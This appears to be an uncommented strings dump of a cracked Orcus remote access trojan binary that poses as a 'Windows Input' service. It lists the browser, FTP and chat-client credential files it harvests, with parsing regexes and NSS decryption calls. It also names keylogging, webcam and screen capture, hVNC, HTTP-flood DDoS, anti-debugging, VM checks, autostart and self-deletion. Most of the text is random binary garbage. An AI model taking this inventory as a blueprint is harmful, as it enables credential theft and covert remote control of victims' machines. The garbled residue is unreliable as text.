CriticalGen.exe

Error loading and creating {0} of plugin {1}
OBJECTIDENTIFIER
Revision
InternalName
Software\Microsoft\Windows\CurrentVersion\Policies\System
Shell_TrayWnd
keep-alive
WorkerW
SELECT Caption FROM Win32_OperatingSystem
Host
Unknown
{0:X2}
Yandex\YandexBrowser\User Data\Default\Cookies
net.pipe://localhost/69e001dd06a44ff1b3260a75a6f10381
Bytes Sent/sec
Windows 8
Windows 7
Shutdown plugin"
LegalCopyright
+*-,0/21547686A@CBSRTRURVRWRXRYRgfkjrqsqut{z
CoreFtp/sites.idx
nss3.dll
Kill
GHz (
r Windows-basierte Programme. Wenn dieser Dienst beendet wird, funktionieren Eingabeger
cookies
System.Core.dll
A+s
-)E
PK11SDR_Decrypt
Version
<supportedRuntime version="v4.0.30319" sku=".NETFramework,Version=v4.0,Profile=Client" />
MIPS
System.Windows.Forms.dll
port
^[0-9](\.[0-9]{1,3})?
Math Processor
explorer.exe
1.0.0.0
version
rundll32.exe
Orcus.CodeExecution
/test
/wait
AdminPasswordStatus
0.1.0.22738
Status:
path
/l /t 0
v3.5
Firefox does not have any profiles, has it ever been launched?
ExtClock
action
OrcusUtilities
bad ret
Architecture
expires_utc
secure
Yandex\YandexBrowser\User Data\Default\Login Data
Pidgin
Google Chrome
SEQUENCE {
Internet Explorer
SVGA
Security
SELECT * FROM AntivirusProduct
Windows CE
<supportedRuntime version="v2.0.50727" />
MDA
https
[Idle]
Keyboard Hook Dispose
SOFTWARE\Mozilla\Mozilla Firefox
FM]
UninstallString
Opera
N/A
cookies.sqlite
orcus.shared.utilities
JDownloader 2.0
*.nfo
logins.json
{0} x {1}
No Firefox profiles could be found
costura.microsoft.win32.taskscheduler.dll.zip
wallpaper.bmp
WRAM
StreamCodec can not be null.
Microsoft\Speech\Files\plg_{0}
System.Xml.Linq.dll
-Hv
keyName
costura.orcus.plugins.dll.zip
MemoryDevices
0.1.0
ConnectedLabel
<Host>(?<host>(.*?))</Host>\s*<Port>(?<port>([0-9]{1,4}?))</Port>.*?<User>(?<login>(.*?))</User>
_Total
HostName
costura.cscore.dll.zip
Pipelined Burst SRAM
parameter
host_key
ListOfLanguages
FileVersion
Windows 3.1
--install
ProductVersion
DigitalProductId
Model
HGC
OriginalFilename
No Firefox logins.json was found
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Win32 Windows
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
origin_url
NSSBase64_DecodeBuffer
Mozilla Thunderbird
Orcus.Properties.Resources
Firefox does not have any cookie file
password_value
NSS_Init
Software\Microsoft\Internet Explorer\IntelliForms\Storage2
@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh
[{0} Me]: {1}
CurrentBuild
Load plugin: "
EGA
MaxCacheSize
style
drivers\etc\hosts
Unknow database format
FromHandle
MHz)
runas
eaVZ3qyF3tFRjpKzecEyqxLf2ZOb64Du05bJWrgGzOFt4IZ1Urc2c9O+nD4wkdjy
SELECT * FROM Win32_PhysicalMemoryArray
moz_cookies
TCPVIEW
Whistler Server
net.pipe://localhost/69e001dd06a44ff1b3260a75a6f10381/OrcusUtilities
nnen die Dienste, die von diesem Dienst explizit abh
Central Processor
The platform or operating system must be Windows 2000 or later.
name
SELECT * FROM Win32_PhysicalMemory
Parallels Video Adapter
^(?<guid>([0-9A-Fa-f]{32}))_(?<version>(\d+(?:\.\d+)+))$
Mozilla Firefox install folder cannot be found.
A/}
A/{
Not connected
hoster
The binary key cannot have an odd number of digits: {0}
HARDWARE\DESCRIPTION\System\CentralProcessor\0
orcus.shared
{0}||{1}
bad ret on check
SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions
ProxyEnable
Workgroup
\e3c6cefd462d48f0b30a5ebcd238b5b1
1.85 (Hash, version 2, native byte-order)
http://speedtest.netcologne.de/test_100mb.bin
/SMV7RYPoqRdeZRq4FdU5g==
PortNumber
root\CIMV2
Windows 10
Copyright
3DRAM
Linear Frame Buffer
PC-98
collection
Install string was null or empty
msvcr100.dll
isSecure
9ycKaDqbXCRKjzyOrTtOiQ==
WinInput.exe
http://speedtest.reliableservers.com/100MBtest.bin
CurrentMajorVersionNumber
Microsoft\Speech\Files\psh_{0}
PrimaryOwnerName
/wait /upgrade "{0}"
VendorIdentifier
Start
Occurred while executing command "{0}" (Command ID: {1})
DisplayVersion
WinSCP
ProcessorType
VideoProcessor
snsV1Z1QzMZBv7NPRF4mSW942P9ae5ylde5/PVCZlzk=
Opera Software\Opera Stable\Cookies
CurrentClockSpeed
WIRESHARK
\.(?<extension>([a-zA-Z]{3,4}))$
te f
case FromAdministrationPackage.GetScreen
VS_VERSION_INFO
VMware SVGA
<Pass encoding="base64">
Enabled
CDRAM
D:\Dokumente\HfLogo.png
Couldn't determine file name
r/JUP9jjr5y66KnTa0+hO1TIYNOExiki87AIsjrTkLiw2xiyrMQ78Bzoqmmgd3xWJ8nlONJxuoJXUCgSfDTaw44vkwUJ0LA8gUzzVWRk67Enk8u57nsxYT6Hxs4daz08q0B1R05Oddf6q9p+pGkYS2PIBdfUbqg1L2isqYBXsNmQbIbPxYRIEpUKqMx7ExSwCcNk5jZB2ZhwZaJg4Swgtpdy5vXEDdnZtVwk/lljV60+00AUoRDEJh/UiirirALtSDvNt4jjnj7YjlIpLnqXhdBJv/rrwbD9SWkLp59BWhnlMOmc7KORorbc5fwrVQBxV0evg+KhVNGPv6LXL5Lx8mXRLsxJsQ3bAZfBYeaTla9sNd2HI+4fAK73ferCyxHvd2hhDkWg4nmRYQaAIzfJtgZG/rRuHmQixgnBuwbLJIZjgQO+LX2nXdoJ7op4nbqF7qwisakrDizlQdbA/C9YI4AOH/r5irOyy9KeIdV7h++rHI8N6svMuxhd5n5/ufRSs1S5g9I65wwOHbm7A+Uh3pQuiSqxZBYRrGFtTQ18e7b9HvVb8eCSOPpjmSVhBYUkcW/7lUQSC8He5lmMCJQj8f6pkNX6EDK+Sz5pDDjelXnVKFxoHXl/yO8rMs73KwxurpyOI0hcyZZNmykmWjt3bSFIsThQt+wvMn/BeyUg0414VOvF4el/a0WF61rHSdK5
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox
ping 127.0.0.1 > nul
Orcus Client
<Host>(?<host>(.*?))</Host>\s*<Port>(?<port>([0-9]{1,4}?))</Port>.*?<User>(?<login>(.*?))</User>.*?<Pass encoding="base64">(?<password>(.*?))</Pass>
root\SecurityCenter2
Select * FROM WIN32_Processor
.purple\accounts.xml
DisplayIcon
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Connected to {0}:{1}
Other
<supportedRuntime version="v4.0" />
KiB
CoreFTP
Main
% Processor Time
encryptedPassword
No admin rights and service isn't running
Could not read cookie table
Software\Microsoft\Windows\CurrentVersion\Run
{0}{1}{0}{2}
Automatic Key Log
piqiz
Verwaltet Eingabeger
eab
Name
Button
img\
VirtualBox Graphics Adapter
Caption
Processor
userName
exe
displayName
CurrentMinorVersionNumber
ARM
InstallLocation
PK11_GetInternalKeySlot
Microsoft 2016
DeviceID
Comments
MaxClockSpeed
{0}.{1}
registryHive
MainRichTextBox
00:00:00:00:00:00
PublicKeyFile
{0}x{1}
Mozilla\Firefox\Profiles
mozglue.dll
.nfo
encryptedUsername
Translation
00061561
Assembly Version
$1:$2:$3:$4:$5:$6
</configuration>
Level
label1
label2
label3
OCTETSTRING
Safe mode without network support
bat
IsWow64Process
[{0} {1}]: {2}
SHELLDLL_DefView
Disabled
.ico
SELECT * FROM Win32_VideoController
ZnqfVtgJLX255UVs9SM3pw==
Send
#32768
</startup>
echo j | del {1}
Longhorn
msvcr120.dll
{0}_{1}
Segoe UI
Not a valid SQLite 3 Database File
WallpaperStyle
aforge.video
{{Left={0},Top={1},Right={2},Bottom={3}}}
(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})
Orcus.Service.Properties.Resources
Opera Software\Opera Stable\Login Data
<configuration>
A-w
JDownloader v2.0\cfg\org.jdownloader.settings.AccountSettings.accounts.ejs
ngig sind, nicht mehr gestartet werden.
UnhandledException
costura.aforge.video.directshow.dll.zip
logins
costura.orcus.shared.utilities.dll.zip
Safe mode with network support
notepad.exe
VGA
SGRAM
SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\
Uninstall
csrss
HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\{0}
SystemType
LegalTrademarks
MHz
ClientActionCommand.UpdateFromUrl: 10/10 tries unsuccessfully
Bytes Received/sec
login
Firefox Application Data folder does not exist!
"{0}"
UserName
Google\Chrome\User Data\Default\Cookies
RUNASADMIN
username_value
table
Windows Input
guid
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
A)`
-Jz
/forceInstall
A)_
--uninstall
costura.orcus.shared.dll.zip
VideoModeDescription
@ECHO OFF
SOFTWARE\Microsoft\Windows NT\CurrentVersion
echo j | del "{0}"
DisableTaskMgr
Orcus.Service.exe
MDIClient
ProgramFiles(x86)
FolderView
content-disposition
[Build
aforge.video.directshow
en-US
SELECT * FROM Win32_ComputerSystem
CurrentVersion
Whistler
ABCDEF
NETMON
Video Processor
<?xml version="1.0" encoding="utf-8"?>
value
EstimatedSize
Burst Synchronous DRAM
costura.starksoft.aspen.dll.zip
Windows-Eingabe
VM Additions S3 Trio32/64
filename=
CiceroUIWndFrame
starksoft.aspen
kernel32
\Mozilla\Firefox\Profiles
shutdown.exe
. Wenn dieser Dienst deaktiviert wird, k
signons.sqlite
VRAM
http://mirror.internode.on.net/pub/test/100meg.test
orcus.plugins
FileZilla\recentservers.xml
Software\Microsoft\Windows NT\CurrentVersion
N@ncyl
hostname
x64
MainForm
status
SDRAM
Firefox is not installed, or the install path could not be located
http
x86
Win32_CacheMemory
VLLw3T25XgdQL7O0ubrAOTUa+gYkodiQntBGaH29b1HHaCkVT44yPVsrpwHlXZe9o/10760nIL1KZswBvsMB8j2JrxvNDiRfkHsv95Z2cLKYqt/TP5RPUsvnYuKi8rEJOwTasYTrd8tF/6dSQE3OnUqSkJFiWZTlFNe/DjW3Lu8=
NumberOfCores
DSP Processor
"(?<hoster>(.+?))" : \[\ \{.+?"password" : "(?<password>(.*?))".*?"user" : "(?<userName>(.*?))".*?"statusString" : "(?<status>(.*?))"
000004b0
The graphics mode is not supported (BADMOVE)
KillButton
FileDescription
encrypted_value
Description
NumberOfLogicalProcessors
WinInp.exe
00000002
Requested Key Log
BCDFGHJKMPQRTVWXY2346789
Threshold
Manages input devices for Windows-based programs. If this service is stopped, input devices will not function properly. If this service is disabled, any services that explicitly depend on it will fail to start.
X91w7ETM3eZBMWScm+BIHg==
Port
Auto-vacuum capable database is not supported
L3CacheSize
L2CacheSize
cmd.exe
ThreadException
Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
SysListView32
SELECT * FROM FirewallProduct
VideoMemoryType
Activating keylogger
EDO RAM
ReleaseDate
password
MCGA
SOFTWARE\Microsoft\NET Framework Setup\NDP
moz_logins
Control Panel\Desktop
https://api.ipify.org/
Network Interface
Thunderbird\Profiles
Occurred while executing static command "{0}" (Command ID: {1})
Blackcomb, Vienna
Orcus.exe
Alpha
Release
UNIQUE
InfluenceStartup() at plugin: "
UBR
Itanium-based systems
No installs of firefox recorded in its key.
MessageTextBox
server
Yandex
CanStart() at plugin: "
Product Key
httponly
DisplayName
00000000
VarFileInfo
key3.db
System
LoaderExceptions:
Application
.jpg
CrackedByWardow
PowerPC
.zip
SELECT * FROM Win32_Processor
root\SecurityCenter
TileWallpaper
XBox
<Server>
Windows
SQLite format 3
case FromAdministrationPackage.GetActiveWindow
WindowsInput
The process does not exist
System.dll
Microsoft\Speech\Files\err_{0}.dat
[^\u0020-\u007F]
System.Xml.dll
expiry
ReleaseId
host
ConsoleWindowClass
te nicht ordnungsgem
http://www.speedtestx.de/testfiles/data_100mb.test
Not Implemented
Microsoft
S3 Trio32/64
VolumeSerialNumber
System restart required
extension
/r /t 0
ProductName
<startup>
MaxRefreshRate
[PRIVATE KEY LOCATION: "{0}"]
Win32_Processor
cscore
A$H
A-v
TotalPhysicalMemory
file:
DISPLAY
Microsoft\Speech\Files\klg_{0}.dat
VideoArchitecture
PK11_Authenticate
Normal
CGA
.config
msvcp120.dll
CompilerVersion
User
/tGvwoOXNPOAmRgl0JxnC4zNtozM2OFNG/VA0LvVR2Die91s1g3xr5DJmHSta1WF
Manufacturer
Orcus_Service
Install Directory
Longhorn Server
~MHz
DRAM
true
WindowsInput.exe
Load
\Mozilla Firefox\
hdfzpysvpzimorhk
CompanyName
rXY
UninstallButton
n must be 0 or greater
3$;'<(=+>,?/@0N6P8]:j@pEqFvJwMyNzP|W
microsoft.win32.taskscheduler
Copyright Orcus Technologies
Vista
SysShadow
Microsoft.Win32.SafeHandles.SafeRegistryHandle
SRAM
SerialNumber
SendButton
/s /t 0
INTEGER
8514A
XGA
global-salt
ProcessorId
SELECT * FROM Win32_BIOS
msvcp100.dll
StringFileInfo
Password
Google\Chrome\User Data\Default\Login Data
password-check
Mystic, Orient
Edit
IFactoryClientCommand
FileZilla
URL.DLL,FileProtocolHandler "{0}"
$this.Icon
Mozilla Firefox
costura.aforge.video.dll.zip
Input.exe
Speed
CurrentLanguage
ProxyServer
win32_logicaldisk.deviceid="
-{0}
2008
Berkelet DB
mE:r
o&[I
j?E
q%:D
^~z
f11b
*;_{
256A
2%ba
J|\Xr
{42]vD
WHITENESS
e[9=/
.rx)
RegistryCommunication
J-oV
Wc}uo
c$8B
<NewCommandType>k__BackingField
6j)g')`U
bKl#
mn'8
L.o
Uw,s
set_Type
v_Q)e
get_Speed
4!>Bx
(7[_
Fi-*
3;z)u)q/ !gd
S;Bt
I3s[

"]l?=
AFN)
lcv_
C@p
h9w
y2
.]+/
KEYEVENTF_KEYDOWN
|VdI
ToggleDesktopIcons
s.?h
get_DataMode
RemoteCertificateValidationCallback
~HB)
})8"T
subKey
n#]
+2M/
MWYj2
@SS813
g7BU
mcT#E6+
sff6
set_Scheme
p*r-H
set_Capacity
DxK8[
ArrayList
5`}h
HSHELL_WINDOWDESTROYED
U_ce
SwapExtents
q \?
get_Left
1A('
XZj:
get_Factory
i`60
Xuce
qfgN1
set_EntryLocation
)B]'
G L3 =
V?5sR
OnShown
a^HWbX
-`zk
8vD
(3}?P
parentHandle
UxCrL
set_MaxClockSpeed
Bvb=
y(LW
regKey
iPeu
CryptoStream
SIZING
\\9E
[,|*A
t9m$
>T}M
Zb?<O
$9+
SendResult
lM&
GetWindowAtPosition
NoD[
'm1
V^k}
get_MainWindowHandle
mF)=
LastVisited
I.7[&
<fqw(
K$ZZGs
LSOQ
GsEs
g(-+Y
iVLE3
p*rOH
RestoreAllScreens
get_NewWindows
Z9%*k
/T)r
MZaK}
+2	o
,#	o
_meColor
'VLi
a|cddL
U6Sn
(;}
1-+
set_PriorityClass
x~Fq
$VzT:;
add_SendResult
u,OIc
m_7
|5Vw
Vwd0
U]ptL
set_AntiVirusPrograms
*:	'
l3kd
Ru[*_
^i_{1
:Wyq
n,RVe
sU=P
0
$m
uninstallableProgram
@4J
.ZL}7
SuppressFinalize
V2I`h
Sa;p
TaskPrincipal
RemotePort
`?[b
BI%Yp
$L&a
u()BO
$ZHxHt
Nullable`1
Tiled
GetFirefoxInstallPath
:`2-cXR>l
hStdInput
Ri,g
!9@!9@!9
get_SendProcesses
KDg'*
WK N
UNDO
# j+T
OxPS
$)ks
RegistryValueString
.Ul
SC_ARRANGE
!~;"
}J
&U
s9!`
jv\n
y&9Y0
`))
%\qQ
4!0 4
R'jPMx3
\@]U
DRs"myP
e@Ly
4;D>sg
A;C{
3hHz{
<'d3
Nfo&
ZbS#Fg3
ReleaseComObject
P2GO
&+D
01KM
M:=MM
?OH"z4S
#$]D
7\dAHZ*
#E,Y}
z6Fr
2cE,|
formSubmitURL
set_RemoteAddress
(i
8@|Oi
Mvo7
get_Language
layoutToLoad
fLH0\
]|9Je=
Tot
chatSettings
ConnectionState
fLbK}
p2]N
ToolTipIcon
x?lF
Enumerable
=PaE
ONr*
~;4r@
ManagementObjectCollection
ResolveEventHandler
&+
MatchCollection
cK7}
z!HAb~
set_RedirectStandardError
>.wCn
,6D"
BootMode
r[@
nqc=i
T9cQ$
T(AV
ti7]
ThreadExceptionEventArgs
System.Security.Cryptography
B5%T
8(X*
t^uv
"ki
<GetHardwareInformation>b__5
."/1
VAzk{
entryName
MaxLogSize
ntQ
yZ3Nv
Speak
Asn1Der
6Q^o
e{zfL
\2l^
OpenSubKey
WriteAppConfig
WH_SHELL
;c!XU
>
get_UpdatedWindows
_keyProcessing_StringUp
xEv[
U(C,p
A(
r
\r
((sY
NCMBUTTONUP
,i*EZ
QFFV
C.B;
FNQbNr
Mt	FG
3kl<S
^f<~
fz(r
v"Em
xM2^7
^#2e
sQY&s}
+"M)
;~4C/
"E7j
CURSORINFO
)+1N
/~|/=
'j<^
set_Text
\=
k
newCreationTime
i7F_)
X	g
&9

p
CZ
?%1#
<SetMemoryInformation>b__1_0
get_ElapsedMilliseconds
d5[%
u.od
get_FileTransferTempDirectory
K-OoU"
jal.j
<s
@/$c
P\r\
MT;'Y
`bN]j
Copy
~d?;f
oJS1
W{Ql
#Z4(
=Lk7C
)		z)$
%o&D
CJ8$
>pVh
+t\
z
SHGFI_SMALLICON
Im/0
add_FileTransferAccepted
windowinfo
0,Y<
7fU,
s`W
get_Loadables
R|`%
System.Speech.Synthesis
9^&Hd
/&hvo
=i~E?~(
9xJh]<
h}:I
szTypeName
<>8__1
C=Ha
)%V:
|UL6
\lmvp
!Vt$
Guid
9o,X
~v%o
Cf$r
RTfeA
ErrorReporter
pp7]c
{wtk
Yo8
'-AC|
uejM
!FUcQ
IQH2
size
vz?wO
Ue2K{
vf*+
-i/aP
LT=-F
DzK=
<>c__DisplayClass3_0
QK?/|
set_IsAdministrator
p`8H9t
GetFreeFilename
5
k^
gDZjl)bVM
IUrlHistoryStg
DI?}~>
>@zl
BnYP\`]
%.t
/b,9
F6;V4k|
1iq0
p65i
l}:[
_
Gko
K.Dl\`
GHg{
Char
&[Ni
DM_PELSWIDTH
\
3:
!0R
eo&q4
_g
=#1^
dwNewLong
RemoteDesktopCommand
k&?!
s(
aXc7
(j
z|"1
j]`U
&P7f6
HK'/T
GetValue
B5@^
<ValueObject>k__BackingField
4=h
StopDDoSCommand
%n
P6)/+/)
OnConnect
rx.
^[rS@
assemblyNames
HashAlgorithm
5y;[a
aX`q
Xeu7W
n{?h
1C\i
q{Yo
][:Lja
a)MO
keyf
i7,
5,Ey.'M	m9
MOUSEHWHEEL
1)5
Yiu#
MRob
_AC6
DELETEITEM
set_ClosedProcesses
FZ;
(
(/
Xkt%
GetBiosInformation
=*z98
HSHELL_APPCOMMAND
QBZU
IzgO=t0b+
^w!D
|
4~n)F
^{LTJT
3kl8
%zm'
get_LCID
fG!`
YlZo`
co:Hw
BN^Iq
L|mL
7RPWu
8A6OZ
MMDeviceEnumerator
+|+}
EVj\W
'~2tad
zqJlV
pR},f
yBMS
\r]
I=+6
RWp)O
VCode
deviceId
~3E
=k"c
w&u6
m$x?ps
Nmj/y
6G9
P2Y\
9bc<
_/Zk
WN2\
xC#5
GetShellWindow
9iyV
cO6OP
.text
&R(
iE>,E
JO'Z
sCBC
?%OW
V/5t
ye|a
~
LW
UYfR
ServiceInstaller
Disconnected
]-_#
|
y\
XmlReader
GetObject
Mwv)Zv
?0N2h+
*s-?G\
T{'h
f4\
=u.@
FB1[Jf$
c6<X
Uv3JR
wqUSx
YJ2[
object
%@xW
9T=
~<di
InstallHelper
>C<P
v )[
ZC c
0'(2Hqm
dw1*O}
g@o[
Ro^g
VJ+;>
Orcus.Commands.TextChat.TextChatForm.resources
kBY!3d
'[/N
z#W>
$v:]-
UserInteractionCommunication
hX=~
[SnH;
.6r9
.,N
add_ResponseBytes
Client
xf+2
<IsWorking>k__BackingField
.,YIe
EndConnect
Z>Fm"
=]\c
cV?K
fuWinIni
x}!)q
xiqm%
oy{uF
&p[G
set_ForceInstallerAdministratorRights
y2vjE
m4X^
d"XH
kh N
Resources
3]<ln
CipherMode
,R	r'
<GetBiosInformation>b__3
7u-q_
B7&}
yV%tP
G
@{
1iRY
rt :
"kQp>u
of[$
wJ{V
WindowPrintTypes
AeBg
NORMAL_PRIORITY_CLASS
g>K
+>z;7
encryptedUsername
s9?c
W#e}
?}}
&Znx
(P'	-<
\{1:Iz>
=)X{
)i3H
Id
&k/FD
#G'FnF
XmlElement
VistaOrHigher
?kj,
NSSBase64_DecodeBuffer
38iI
,mGe
bg:9
qH_u
PluginFactory
H+{N
get_SynSockets
UrlHistoryClass
u'l'
C=_|k
4.0.0.0
`!sJjX
AddRegistryKeyValue
IFormatProvider
q1.+
Ompm
,+f|
4^
Y
Y]m6
Uw.e
!O=*
parentHwnd
UserCertificateValidationCallback
{u4f
#qw2
gEZV
o@[}
CryptoApi
l=_I
-9vc
wjzT
<reader>5__2
\GeT
UseHashToken
pLG`
]h|Y
M~U.
)(W,
e#H#
SW_NORMAL
P6{XK
c*E
m{-0_|
XBUTTONDOWN
ew-]
/ENH-k
<ProcessCommand>b__7_1
set_ClientConfig
^f|DP
>:=1
V]7~
set_IsBackground
%
}
TernaryRasterOperations
k("+(
N%F@V
_is64BitProcess
56+;W7
#Ece
-W2<}
remove_NewFrame
d#6q
|lxN
R#I=
c9C*B
vKTR;
w!'!
lpfn
KP[
$2w/vG
e3oX
iX$k
U5vJ#
QU$7
set_IsDataAvailable
{Xz2
rlgi
,OJ
^
+)p5z
GetWindowInfo
bVTI
0>+X
|5{@X
HF98H
RENDERALLFORMATS
F"D<
K
9j
@#ndz
DnA;
pI!q
T9P52
ANTIDEBUGGER
dwDesiredAccess
uiFx:
f=W>
$3C374A41-BAE4-11CF-BF7D-00AA006946EE
AudioCommand
J{Gj6$2
K@H_
rzRf
t}cC '
IsOnVirtualBox
8SS{e5
Pv%G
GetWindowRect
hStdError
WH3%
T3HkU,Q
!9dI
o O(
ProcessThread
biWkC
7u
K
GetProcAddress
HWND_BROADCAST
MP\n
:lwiSr
[26v~3
\_W/
DM:.
ServiceAccount
[\\J	_
Eep>
$!<i?
spU+Jw$
U
aj
set_ProcessorId
%rX.
fIcon
fX^~
pOfi
qpz
rgiu
V!+Cj
sslPolicyErrors
set_AdministrationRightsRequired
>e-j.`
^.f{
|Vi
A}?f
Z3gZ
$fUQ:
H!PE
pZ}
ReadAllBytes
^Rl#k
h"v[
ySxU
141w
}YI1
HttpFlood
SbO!
@.v1
]:L'
Jvo@
Z-I6
ApmU
C
Xw
PathContent
JM$B
6{\AZ
2GK
"
GC
lZYN
Connect
on]O;
_deadKeyOver
X=,&
5X~[
+]	r
Z#PY^
Z9\
get_IsWarning
remove_DataReceived
get_Assembly
X(6-
bBw'
hvncDesktop
,T:iwk~
System.Xml
}*`Cq>
n

ip|
r=!RZD?4E
I_=/
get_Volume
p7on0L
hN"~rb
dwFlags
EnumWindowsProc
m$weF
uParam
UYCT
" z9
~:BD
\T;r
^"?f
NXz
R65
dFos+|b
$[yW,=
{&zFQs
o6x
x)
},
Q]iN\*U&
lpszDriver
B*!>ee
PDK%
1c`1
-v|.
*T>LI
\Q*A
GenKey_SaveInContainer
nZ(!
_isClosing
z@%>
.Un/
_windowPrintTypes
ADMINISTRATIONRIGHTSREQUIRED
ullTotalVirtual
"IU4
SecretEntry
get_AddressFamily
$-	eJ
get_OSName
'eWwWt
qf
~3}
_Jyt
Rjw(
>Z*?W\
\:,Z
MOVE
STATURL_QUERYFLAG_TOPLEVEL
%XvMt
3`Kt
FunActionsCommunication
kYBt
hbmColor
^:?@
#K"6O~
sz
c qm!
HideWindow
/i':
RegistryKeyExtensions
jYl#
MO!)
prJ(
dmICMMethod
op_Explicit
4Bm
f-z?-zG-zz
Drx/">(
qX''
]hck
YdH2
#q@;=,
+]5yv
FpO U
y]{,r
d[)f
\!9{V
0H}P
+V-?]
`>D^G
_k=H
}q{ -`
[LUom
URL_ESCAPE_PERCENT
(e=t
(J*J)
aF6'd0o
*rp!
[Is/
'GinvI7
G=_Q
}@
,
rRRx
NKr87
% 9m
SYSKEYUP
SecretId1
"S#l#
FileTimeToDateTime
W7bk
+ieg
2N+X
p
d%
+oIt
6,eS
/~G#
aj4pbG
yE*9q
]+ev
Ro1)
Kt9)p
Uk/8
O}J,
"lg(
c>LV
tableName
System
[U|_f
G,F$F
Application
L{WH
OJK}
|{S)
rXl 96
NetworkInformation
]?,'
p)i`
PasswordsCommand
Du\P|
ba;<V
$$O)
pfnEnum
;l.
5y
aak{Z
NznX53
V;.S
get_VistaOrHigher
cypherText
rt9%X
dvGV
85mR
)&\{
,x-u
#Ozg
_y^!U*
ProcessorInfo
y[k
4RCjI
cT?Z
{->X
8\B't
XPD,
set_InstallService
<ExceptionFile>k__BackingField
BeginConnect
7k3_
SH\J"
ToByteArray
set_Version
!0?
DoNotActivate
RD2\L
exception1
bG3
MethodBase
First
.R{<z
Font
t}
mk
/CWDN
.
|
wad4
({0
get_VersionString
Stretched
bGJ
.i	S
set_CarriageReturnAndLineFeedReplacement
8uV=
[0_4x
i7+V
WTSSESSION_CHANGE
?)jP0
+.ni
k	s9{}
Capture
4Y-
y#;#
_receivedBytes
-r!4
9	!p
;
TryConnectDelegate
"G~+_
*.-K
?bl
?	-
SecretId7
yU}p
`C&'
set_AutostartMethod
noW
}fZY
b,_6
*Vs
<ExecuteCommand>b__0
7l{
NCPAINT
}iJZ
Vd~Rz
width
XnG(
mQo;
Yt=,
J}6#
ISIL
get_EthernetAdapterData
/p^XS
,^v-
hp-X
&!{
HTBOTTOM
add_FileTransferCompleted
get_AvailablePlugins
zK>sdy
S-giy
CsvRecord
wB<B
STATURL
RSDSy4
~O{
D.l9
Orcus.Shared.Connection
aA
get_Position
/bCF
m.V"es|
sfr
\
Mu	+
CreateDC
f;]f
2}c/q
hxxP
?B!t%
;ZjUY^r/
'C'!}$t
ig
St%
H,=l
PATINVERT
6 Lh?
"3'^
Cl^B
(tJX
|'%G
~O&6
EYS"a+
,scbjt
X_Z#!
d$[I
CloseDesktop
dt9u
{]
J
IsCtrlPressed
"4sm
u"=Iq
gN=88
<Name>k__BackingField
(=;3
b=zv
EANF
c`}k
get_PluginName
3,5f6,7
*,\l@
`1OS
hbmMask
IKm`
ky
|
Registry64
'%L0
;"vh
;EGU
VV(<
X.E$
6|X
SAg"
EventWaitHandle
:ZMDw>L
get_UserDomainName
z"	@_
)I*^*y*Y,
D:\Dokumente\Visual Studio 2015\Projects\Orcus\MainSource\Features\Orcus.Service\obj\Release\Orcus.Service.pdb
aWi
27zen
k!5Y
)zQ
T+zg-
currentTime
v6Q+
<@Kh
XYLB
0]h1D
DeleteRegistryKeyValue
n-~++
6+r
MIB_TCP_STATE_CLOSE_WAIT
aT?hO
qRLR
IME_KEYDOWN
'	o(
w00)
set_BackColor
_CorExeMain
c{}#
hy$6
*@U%
[6r\
2fEt
e<+e-
L=]T	4
CompareTo
.3^C
ContainsKey
>^fF
'\/g
{:+;J
Bc=Tyz
2|tC0
>w6
}v
a&hV
?;<f
icmpSockets
]'I$
u@{Z
0=?A
tcOH
v'fC>
TuPW
BmSNc
ZMyb
7W+z
6SZ6SZ6SZ6[
sYk~
_cancelActions
+LMp
|]EA
OnKeyActionFurtherProcessing2
set_RootDirectory
CalculateMd5HashFromFile
v3w
;
6eXP
3bXw
pnbE
4W}Z
kI|%
ComputerInformation
sF%?
u^Vo
@.reloc
Func`2
Func`3
dwTotalSecrets
FVr7
WebcamCommand
g+Uw
1]$K
,y\;K
%o'
A+']g
)>U
xU<qPbe
Bb&3
i]s}U
$@B	%
#=k?x6
wo#0
RemoveFromAutostart
gV?x
dwLength
}RD.b
get_IsTaken
D$}r!
ug1G/'
FirefoxLogins
JnD9a
<GetHardwareInformation>b__6_1
<GetHardwareInformation>b__6_0
eR,S
<GetHardwareInformation>b__6_2
:&nn
\mv+
TVX~*
#[s&
mg
O
sn
`u
O
kw&]
oX.a
:Mk0>_q
UatV
]22t
v
@VW@
7	I}
%_BE"3^
CsvFile
isCsvData
T(
V7[y
d2N
'rt
sC6k
bNj
localPort3
\}W0
2n#=`
get_ChannelIndex
Y)?B(
CaptureScreen
GetProfilePath
<Objects>k__BackingField
=W
S
STATURLFLAGS
6x<-
HttpRequest
Cv	)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
`HFn
Win32Exception
Sz`Am
uuek%
&pQ
r95EO
get_ClientPlugins
S?J]
Sp^D9/Q
K}1e
gkK!
\?}h
^^b*
FONTCHANGE
<jQ{
TT S
y\e'>G
]Go
KHB
BinaryReader
3NYx
B2)q
title
jRs
set_EthernetAdapterData
b3Ma
Xx6A
cekS
hThread
-s`
Qa0(
{>4O
I+s2U
ntHP
{vO$
]wkc
puV&
?dHZ
~q/b
(#4MN
cds(
oH]>#$
Uj`M
E1v.M
9}j_d%^
DeleteUrl
L##8
RotateResult
*2qZ
Pe4DH
ofG
A:|'
4Bz
get_VirtualScreen
<GetWindows>b__40_0
wT(G
